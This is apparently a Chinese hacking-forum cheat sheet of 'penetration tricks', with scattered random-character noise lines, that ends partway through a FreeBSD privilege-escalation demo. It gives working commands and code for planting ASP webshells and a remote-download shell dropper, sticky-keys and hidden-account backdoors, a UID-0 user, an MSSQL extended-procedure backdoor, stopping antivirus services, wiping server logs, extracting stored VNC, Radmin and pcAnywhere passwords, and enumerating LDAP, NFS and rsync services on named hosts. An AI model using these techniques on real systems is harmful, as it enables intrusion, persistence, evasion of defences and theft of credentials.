渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
# h# \" m3 S4 w1 F& a        

7 ?/ }& Y' t9 ~Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
- F0 g6 j# M) u: x' A
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
) }, V/ f# \' v1 J5 F! A) wSet ObjService=GetObject
1 L% D% H' v! X0 w! h, Y7 _+ f* x6 I
: i5 E! H0 d! i6 U. W("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

7 i; V6 s6 ^2 aThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" a- n/ f+ ^9 K- ~! m" {, R         
, Y+ N- l5 Q" E* `$ k- `
4 K3 u% G0 w4 X) {! a; R       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
5 n' \: Q& Y0 K: |, L$ }+ n                If Err
" y- S' C9 H5 g' b6 j
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
* }9 H5 v" d* D                For Each Binds In OService.ServerBindings
     

5 C3 Z6 J% ?  V- R% ^' v; o1 L                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

* h. M4 g" |. T, Y" eWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
, p2 G9 z7 ?! j* V/ X                Next
# U) ]9 s2 e0 D, M: q0 o1 K      
/ `  p0 M$ u6 i' L/ T4 r
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
  M, {& y6 \, ]( J2 h复制代码
+ d# Q2 e  Y  w0 O3 _# \$ X. n3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
: H) V. L6 T- X! ?4 Z9 s4 r4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
: H+ r0 {3 {. i5 O- |5 vurl/wp-content/plugins/akismet/akismet.php
  R8 h, g) C4 v2 m5 wurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
9 v9 W- s- n; I0 s  a; f- F& wphpMyAdmin/index.php?lang[]=1
  t, ~6 }7 ~) Q: Cphpmyadmin/themes/darkblue_orange/layout.inc.php
" a6 F# Y  J% T; m————————————————————
: r5 S- X% m' i/ l  w' r" R) m网站可能目录(注：一般是虚拟主机类）
5 N0 C' ~- j- @9 i! Xdata/htdocs.网站/网站/
————————————————————
3 H  R- Z& Q+ g, ZCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
, S9 h* \7 f/ n) u: p& @netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
: n9 I7 C9 Q) F7 C" y- _5 q+ _6 B————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
. K  l" o/ ^) G1 g* @( _/ z
另类的加用户方法
. b) S$ t% W6 K+ o/ ~# F4 y在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
3 r- [; z, |% u6 d* o1 `js:
var o=new ActiveXObject( "Shell.Users" );
7 F* ^. ]3 r. S, A+ ]4 y8 lz=o.create("test") ;
. D9 m0 J& T" v0 G5 Qz.changePassword("123456","")
z.setting("AccountType")=3;
' c/ Y' N+ {; B$ @
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
2 F; u$ ^9 J2 ]1 x: [6 Lz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
: E0 J! ~2 }) a, Q* }cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
* i1 j. g& r4 F
命令如下
& |( F! w( R$ \! c& a- x2 ncacls c: /e /t /g everyone:F           #c盘everyone权限
8 ^+ m# S# y3 Ocacls "目录" /d everyone               #everyone不可读，包括admin
+ i+ k2 a- J8 N2 E8 U————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
, }7 r/ C0 G' q  ~1 qb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
* [+ D) h2 y" }2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
0 f6 ^) V9 J2 J0 A& ~6 g# u; ~net stop "Symantec AntiVirus" /y
# q# N5 Q& `/ T/ S4 S0 P2 [: g9 Knet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
& D* H) g# G  G) m" B+ Fnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

$ X/ K1 f8 n3 T- m4 }卖咖啡：net stop "McAfee McShield"
( _4 b3 _& H9 H# S, G) p* Y————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
7 F2 ~, t/ ~1 T) w  o, j2 B5 M——————————————————————
2 ~- K/ F& H- l隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
  x! T6 O! O2 X7 m; G# ?1 C$ L, K3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
' Z' R; l: i9 Z" t——————————————————————
0 O; Z& h+ U8 n4 l9 P$ C3 nMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
1 Z3 O9 K2 y; `5 U+ g8 s5 l* cex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
' i& I1 H" P; s. `当然可以直接删除ex011120.log / ex011121.log
( l' n" C- m4 c! ^用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
% F- D" {2 J, j/ n! f' s$ O% f7 ^% hHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
9 c8 W" g. V% b2 f4 J" O找到接接过的信息删除。
2 Q: U+ W: p$ K/ o( x5 yMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
& |) k3 F0 L. o5 }# c; R
" M1 G  ?& k! D+ ~% RServer\90\Tools\Shell\mru.dat
8 _2 k  ?, l6 E/ W) `—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
' ^: w0 W/ n- t) G( Q! o* M
# N" K  i2 q% G9 \& k* y, Q<%
/ s* h. u3 Q2 \9 x; NSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
, H. T1 y8 s' L  xDim Ads, Retrieval, GetRemoteData
! R& ?( z( E- q6 aOn Error Resume Next
! r5 Y: @) O+ }; hSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
( D% H, F. U0 y- F" O) x7 v.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
5 R' C: Y0 H& w; o% }Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
9 o9 S& J! N* `0 `( t.Type = 1
.Open
.Write GetRemoteData
6 `. {0 J2 \4 W; ]1 [# ~9 F.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
& E4 f% f8 K* ?9 Z! [+ X: N' ?.Close()
End With
  j# p( z! \  ~; Y$ tSet Ads=nothing
$ C+ A$ p$ D9 M6 D3 C7 M, XEnd Sub
+ N) Q. S2 R+ `- z" ?0 a
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
- \/ P# e7 z/ x  E% E0 q%>
3 Q9 G$ t) r# W; t0 G
VNC提权方法:
$ p' ~$ |$ [3 A利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
* Z( X; P. a. Z4 ^regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
' f8 J5 r4 b$ `- a7 gRadmin 默认端口是4899，
* B( Z- k5 }# Y) Z6 HHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
; a% o- L. t6 e1 {' p' ?2 uHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
: L6 V( E2 ]/ G' Z) L' \. l( w保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
' P6 p' a/ X2 V; c1 |Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
# @/ r, m! c3 ~9 b* ^! a, s) _& `$ {搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
6 r% J4 `- r  P. j1 ~/ E- G2 k. ^——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
/ v2 Z1 s3 h) ]8 ~$ u2 R- Y# r来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
* F: l, V+ A: ~4 k1 U
1433 SA点构建注入点。
! T6 P; E( \( c. _<%
  V( x( z# g2 W  O+ ]: _strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
7 d1 E& H7 e5 L$ L1 h7 `5 U4 kstrSQLDBPassword = "数据库密码"
" Q! w/ f: {; u% F8 e2 g% NstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
( v% i3 S! t! S
& N2 _# Q% j1 |% i, B";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
! e- i* @! v) }7 [8 s$ nconn.open strCon
: S+ y$ a# d, y5 ddim rs,strSQL,id
2 [8 v1 D' O9 d5 Aset rs=server.createobject("ADODB.recordset")
+ g9 z) ?6 D( s  Hid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
( q5 j0 E7 r) A, ^/ z: I; r1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
, ?$ S& k, p$ S; w# [$ O- W. O: hbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
! ?5 J* k. h3 _! F- E
0 |' L( u% h2 _, D3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

1 S% N' [- e2 {( [+ s% S8 P"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 ]. a7 A7 I# H1 S' S

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
5 X4 a- x8 z; w6 h1 c0 I
$ Z5 R* D* x5 t实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
- R5 O6 s* u+ P% W/ J/ G4 s
2.less /etc/ldap.conf
) b8 f1 ^, y  G  dbase ou=People,dc=unix-center,dc=net
7 B& Z# K4 \/ M找到ou,dc,dc设置

3.查找管理员信息
匿名方式
0 y4 E, I6 Z, ^- @& O% u! R1 `ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; z) L( ~; Q) U
5 K* y3 A9 e! Z3 v- W"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' B7 ~! m; k# a' u9 t% R2 M有密码形式
! D2 B+ R" r4 G2 p# `' fldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

: x2 O% @$ n9 l1 T% D2 I"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


) n+ a4 z1 c( r) ~' K4.查找10条用户记录
& `. k0 t* j5 x3 o& nldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
) e6 L0 F; `: d2 r0 J
1 @4 u( n6 H6 t& N3 d: H9 q$ a渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
' i1 x$ o. P$ ], l9 F: fversion: 1
dn: dc=ruc,dc=edu,dc=cn
9 X0 e/ t1 g3 {8 g% c7 }dc: ruc
objectClass: domain
# u' {' C+ p7 B! G9 |: I
dn: uid=manager,dc=ruc,dc=edu,dc=cn
0 X- z/ Y4 l* n0 Cuid: manager
objectClass: inetOrgPerson
; q! B% g! O0 m. X  fobjectClass: organizationalPerson
, z% P+ h1 G4 K- bobjectClass: person
objectClass: top
7 r7 s1 x$ X9 isn: manager
cn: manager

* ^4 z4 N7 l; b# ^dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
4 }9 e) }; S: K4 D- ?objectClass: inetOrgPerson
/ B  d9 @- d1 @$ X1 v' _9 \8 RobjectClass: organizationalPerson
  l4 o8 R" I8 Y8 o5 W! Z4 {objectClass: person
" [! P! Y$ k8 b$ XobjectClass: top
sn: superadmin
8 u, o1 K+ u3 Jcn: superadmin

! e0 Z5 M9 [, }5 T# p$ W0 a+ Z3 r1 Ddn: uid=admin,dc=ruc,dc=edu,dc=cn
1 C; L6 x( H8 Y/ p4 G& Z/ @uid: admin
2 K6 ~0 P1 x  |$ f, N) |1 y2 cobjectClass: inetOrgPerson
objectClass: organizationalPerson
- j& ^2 U9 M- \( y" u# HobjectClass: person
) F$ J# ]4 x* w) i# w) kobjectClass: top
* D9 e( v' u& G; [+ t  H5 Ksn: admin
cn: admin
0 B4 g, r  q; @( S
4 I2 P, Q! Y8 V: U7 E, adn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
/ _4 b/ w; u/ A) EobjectClass: organizationalPerson
: F2 ?  I# S$ h) A9 g/ UobjectClass: inetOrgPerson
' @) {) b/ |! ]sn: dcp_anonymous
cn: dcp_anonymous
% G# U5 K- U6 Y! R% k; g" b
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

# P  u5 b0 i  x7 ]# m$ fmore
5 e5 u% O& E7 m9 w% O- xversion: 1
  v2 m' N% p. Y* b$ @& g; Tdn: dc=ruc,dc=edu,dc=cn
0 j. k' s+ G0 U* [8 M( J& bdc: ruc
: G2 n8 q" x  O  |5 o0 Z! I8 y+ AobjectClass: domain
' r- A% C5 e$ Z# {, ~2 H, y
/ L% |" G3 l6 A- `1 r; Z3.查找
# I( L! T- b0 [. S: @bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  [  e- o7 t$ ~7 w3 a6 n( j" \7 dversion: 1
dn:
& r6 N5 t9 ?5 S  }) m+ UobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
: D, s$ D, C9 I, O' b7 jsupportedExtension: 2.16.840.1.113730.3.5.7
2 O; z  X7 N+ K+ J, OsupportedExtension: 2.16.840.1.113730.3.5.8
0 _1 H0 j/ M( i$ F$ D) hsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
7 x$ ~1 V8 J- H- {, N' bsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
" I; v& V. {) C- J& }supportedExtension: 2.16.840.1.113730.3.5.4
# |/ J/ Y5 \$ E, h1 \1 {! c, FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
7 c6 Z- S6 u& _+ ~. vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
4 e$ g. Y! A, B9 w) K. H- o9 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* V! l) n- k( v$ a) T9 K* bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
: F, I: w! v; n) [* asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
3 |- {8 W5 ?8 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
; W- N! |; u; I0 `( S* z9 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
) s  ]0 @6 H% e0 I) Z1 P3 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
; c, i* v$ @8 b2 ?, H  g6 \$ s7 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
& q9 B1 ^% m- {7 Y. fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
* j$ J+ W: \5 Z  R0 z* g) F% dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 X& Z8 G3 t! a" m* BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
" |8 D: w- s# \6 p$ f; ?5 j3 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
3 d4 B8 ~/ g4 NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
: m9 J) ^4 b$ K+ r; MsupportedControl: 2.16.840.1.113730.3.4.2
: ?0 p5 D* m& a7 tsupportedControl: 2.16.840.1.113730.3.4.3
6 j$ }3 i+ f7 w& M) q( CsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
/ N" S+ L+ c0 X$ r/ h+ ^6 YsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
  w% s: G+ e* B$ ysupportedControl: 2.16.840.1.113730.3.4.16
, W' d. W0 a" D2 {$ l* L0 b' [supportedControl: 2.16.840.1.113730.3.4.15
! N+ w* R9 U1 x$ j( D; ^supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
: v- l; n/ ?, j4 H+ m% y% k/ y* _supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
. Z7 X& }$ t, H; q6 P: J$ DsupportedControl: 2.16.840.1.113730.3.4.18
6 e! \* H& n0 o% L* xsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
" z0 ~# g- l- lsupportedLDAPVersion: 3
. s3 v) d6 k, e/ `vendorName: Sun Microsystems, Inc.
  O" n6 E5 B  A& p8 [7 yvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
( |4 n3 s# P% {9 BsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
* R- V' n; W) p9 ?! T8 C' GsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
& b7 ?  I: v6 R( t) o: s, @supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
& F. |2 }, Q/ MsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
% }, ~9 ~# h% m; a5 Q/ B$ t7 jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
" u. C% [4 G. n) IsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
+ U& m: {1 N% k% xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
4 U! z6 l2 _. ~; i# x' y0 \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
$ I4 ]( j# W3 h  y% z! a/ j1 IsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
9 A" |. m! m( O, {supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
4 h. `3 w3 [  K' l. b) s" ^5 |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
! H4 n0 J- f  G6 j& ~supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
* s8 l5 B# H" P$ H  z& O- PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
. E2 T. P( S  f1 m: Q/ |0 XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
+ h, h. e# r, I5 s& \; w+ YsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
' S. Z0 ]( I. Q( I8 X; esupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
! a2 s# i! _; C0 qsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
6 k$ `/ F' f% P' |1 f. qsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
; l+ b9 n0 ^& [% X5 R+ s  gsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
2 _9 R5 q3 D0 o0 PsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
, [! v, T- L8 Z. o  M+ zsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
4 X! j" p" Q- ^supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
  n- x! U! B: FsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
' F8 a5 A1 U3 |$ ~2 r  U( Y1 {5 z6 n2. NFS渗透技巧
# G: A/ x$ N( u' ]- N2 [' Hshowmount -e ip
列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
/ o7 Q' z8 K  Ursync 210.51.X.X::
5 ~' {6 Y/ P4 k% f6 \+ W6 efinance
7 z4 f) J8 ?5 U. Pimg_finance
auto
img_auto
1 b; l% X; e: C+ h# Lhtml_cms
6 ^! Y0 F  y8 d5 v+ kimg_cms
) o2 G! [( U; v% e. Cent_cms
ent_img
ceshi
$ ^# p& `: y5 ~- R% i9 I* Rres_img
  v  W) b. y$ Sres_img_c2
chip
chip_c2
# t1 o* V- X$ A. z3 g) v4 \& W9 jent_icms
games
gamesimg
( v/ ~! Q: H# z" K1 Zmedia
* g" E7 _6 i1 @8 X. rmediaimg
  |/ l9 N( n/ r. Vfashion
1 o" I- [3 ~7 M4 i1 _+ R9 [) Ures-fashion
res-fo
taobao-home
& a& \' h$ V' A) h) X' @6 ~/ \( Xres-taobao-home
house
. }+ @7 ^# _8 g4 j  t* Bres-house
7 R. T% f. W$ X2 U9 wres-home
  ]. E' z9 ]( k4 z) ]3 xres-edu
res-ent
res-labs
  N" v" W, Q9 g2 B: Jres-news
2 E7 Z9 {; w# z. ?res-phtv
8 _# ?* p# J: }0 ~8 _/ qres-media
home
" l+ v6 x0 s' g% Q% Y+ y. Y, gedu
7 J- Z+ ~: {' }6 o; ?5 ^: _# H# h+ dnews
. v5 p! x) [# {8 ^3 [/ w- Nres-book
5 ~/ C! h& A- w# |3 B
看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

& J0 z0 z: C+ z9 v1 w0 y2.下载rsync服务器上的配置文件
4 `; w+ e8 ~( I2 G7 Rrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
# G9 N; f% U0 D: v- D$ Q6 t
3.向上更新rsync文件(成功上传,不会覆盖)
+ `" X3 t9 |, A! ?9 W4 k9 F2 Orsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
! S: K; g, m' C+ M; y' Yhttp://app.finance.xxx.com/warn/nothack.txt
0 k8 O- U% G# @4 J- W
- B* M* O) D2 J" ~# l四.squid渗透技巧
. S5 b. y$ L9 U* x  @0 j) Hnc -vv baidu.com 80
* v( a* b1 y& l& x# F- _GET HTTP://www.sina.com / HTTP/1.0
, q# {% E5 n' ^3 D% cGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
. H% A/ g( ~6 Y7 h4 z! ~  Y$ |ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
% W4 U( C3 n8 \0 s# D7 T2 \
六.joomla渗透小技巧
1 p) ]0 S3 S2 D; z! b* ?" Y# Y  d确定版本
. p% k5 B. Z, p- u4 J1 Oindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
5 l% o. X" z9 L6 l) ]: C: `
% n7 g" Q' b1 L8 F' {15&catid=32:languages&Itemid=47

重新设置密码
" X1 e: [0 x% @  xindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
6 r0 m- B7 n) u4 z
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
: q' H, a6 `1 X/ G* freebsd 7.3-RELEASE GENERIC
7 g9 e6 {/ q' D: t- w* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
4 w# j3 L0 G) Y' I* uid=1001(argp) gid=1001(argp) groups=1001(argp)
